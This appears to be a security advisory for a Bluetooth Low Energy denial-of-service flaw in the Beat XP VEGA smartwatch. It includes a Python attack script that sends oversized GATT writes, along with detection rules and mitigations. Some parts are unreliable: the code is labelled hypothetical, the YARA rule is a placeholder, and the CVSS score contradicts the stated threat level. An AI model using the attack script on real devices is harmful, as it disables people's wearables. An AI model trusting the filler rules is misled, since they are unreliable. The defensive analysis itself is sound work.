CVE-2025-69821

Executive Summary

CVE-2025-69821 identifies a denial of service (DoS) vulnerability in the Beat XP VEGA Smartwatch running firmware version RB303ATV006229. An attacker can exploit this flaw by sending specially crafted Bluetooth Low Energy (BLE) packets, causing the device to become unresponsive or crash. The vulnerability resides in the BLE connection handling logic, leading to resource exhaustion (CWE-400). No public proof-of-concept (PoC) code or patch is currently available. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the lack of a patch makes this a significant risk for affected devices.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (No vector assigned by NVD)
• Attack Vector (AV): Adjacent Network (BLE range, typically <10m)
• Attack Complexity (AC): Low (no special conditions required)
• Privileges Required (PR): None
• User Interaction (UI): None
• Scope (S): Unchanged
• Confidentiality (C): None
• Integrity (I): None
• Availability (A): High (device becomes unresponsive)
• Threat Level: Medium (due to physical proximity requirement but no patch available)

Deep Dive & Mechanics

The vulnerability is triggered during the BLE connection establishment or data exchange phase. The smartwatch firmware (RB303ATV006229) fails to properly validate or limit the number of BLE packets received, leading to a buffer overflow or resource exhaustion condition. An attacker within BLE range can send a high volume of malformed or oversized packets, causing the device’s BLE stack to consume all available memory or CPU cycles, resulting in a denial of service.

Root Cause: Improper input validation and lack of rate limiting in the BLE packet handler.

Attack Flow:

1. Attacker scans for BLE devices and identifies the Beat XP VEGA Smartwatch.
2. Attacker initiates a BLE connection (or sends packets without full connection).
3. Attacker sends a crafted sequence of BLE packets (e.g., large attribute writes, rapid notifications).
4. The smartwatch’s BLE stack enters an infinite loop or memory exhaustion state.
5. Device becomes unresponsive until a hard reset or battery removal.

Vulnerable vs. Patched Code

No patched firmware version is available. The vulnerable code snippet (hypothetical based on common BLE stack issues) is shown below.

Vulnerable Code (C pseudocode):

void ble_packet_handler(uint8_t *data, uint16_t len) {
    // No bounds check on len
    uint8_t buffer[256];
    memcpy(buffer, data, len);  // Potential overflow if len > 256
    process_packet(buffer);
}

Patched Code (Hypothetical fix):

void ble_packet_handler(uint8_t *data, uint16_t len) {
    if (len > 256) {
        // Reject oversized packets
        return;
    }
    uint8_t buffer[256];
    memcpy(buffer, data, len);
    process_packet(buffer);
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• BLE-capable device (e.g., nRF52840 Dongle, Raspberry Pi with Bluetooth)
• Python with bleak or bluepy library
• Physical proximity to the target smartwatch (<10m)

Exploitation Steps:

1. Install required tools:

   pip install bleak
   

2. Scan for the device:

   import asyncio
   from bleak import BleakScanner
   async def scan():
       devices = await BleakScanner.discover()
       for d in devices:
           print(d)
   asyncio.run(scan())
   

3. Connect and send malformed packets:

   import asyncio
   from bleak import BleakClient
   async def dos_attack(address):
       async with BleakClient(address) as client:
           # Send oversized write request
           payload = b'A' * 512  # Exceeds typical MTU
           await client.write_gatt_char("0000xxxx-0000-1000-8000-00805f9b34fb", payload, response=True)
   asyncio.run(dos_attack("XX:XX:XX:XX:XX:XX"))
   

Blue Team

Detection & Mitigation:

• Monitor BLE traffic for unusual packet sizes or frequencies.
• Implement firmware-level rate limiting and input validation.
• Use BLE sniffer (e.g., Wireshark with BLE dongle) to capture anomalous patterns.
• Isolate affected devices from critical networks.

Indicators of Compromise (IOCs)

• BLE MAC Address: Any Beat XP VEGA Smartwatch with firmware RB303ATV006229
• Network Traffic: High volume of BLE packets with payloads > 256 bytes
• Device Behavior: Smartwatch becomes unresponsive, requires hard reset
• Logs: Repeated BLE connection failures or watchdog timeout events

Detection Engineering

YARA Rule

rule CVE_2025_69821_BLE_DoS {
    meta:
        description = "Detects BLE packets targeting Beat XP VEGA Smartwatch DoS"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $ble_packet = { 00 00 00 00 }  // Placeholder for BLE packet signature
    condition:
        $ble_packet and filesize < 10KB
}

Sigma Rule

title: BLE DoS Attack on Beat XP VEGA Smartwatch
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects excessive BLE packets from a single source
logsource:
    category: bluetooth
    product: wireshark
detection:
    selection:
        btle.length: ">256"
    condition: selection | count() by btle.src > 100 in 60s
falsepositives:
    - Legitimate firmware updates
level: high

Suricata Rule

alert btle any any -> any any (msg:"CVE-2025-69821 BLE DoS Attempt"; btle.length:>256; threshold: type both, track by_src, count 100, seconds 60; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable BLE on the smartwatch when not in use.
2. Keep the device out of range of untrusted individuals.
3. Monitor for firmware updates from Beat XP.

Long-term Fix:

• Vendor must release patched firmware with proper input validation and rate limiting.
• Implement BLE connection authentication and encryption.

Workarounds:

• Use a BLE firewall or filter on paired smartphones to block anomalous packets.
• Hard reset the device if it becomes unresponsive.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert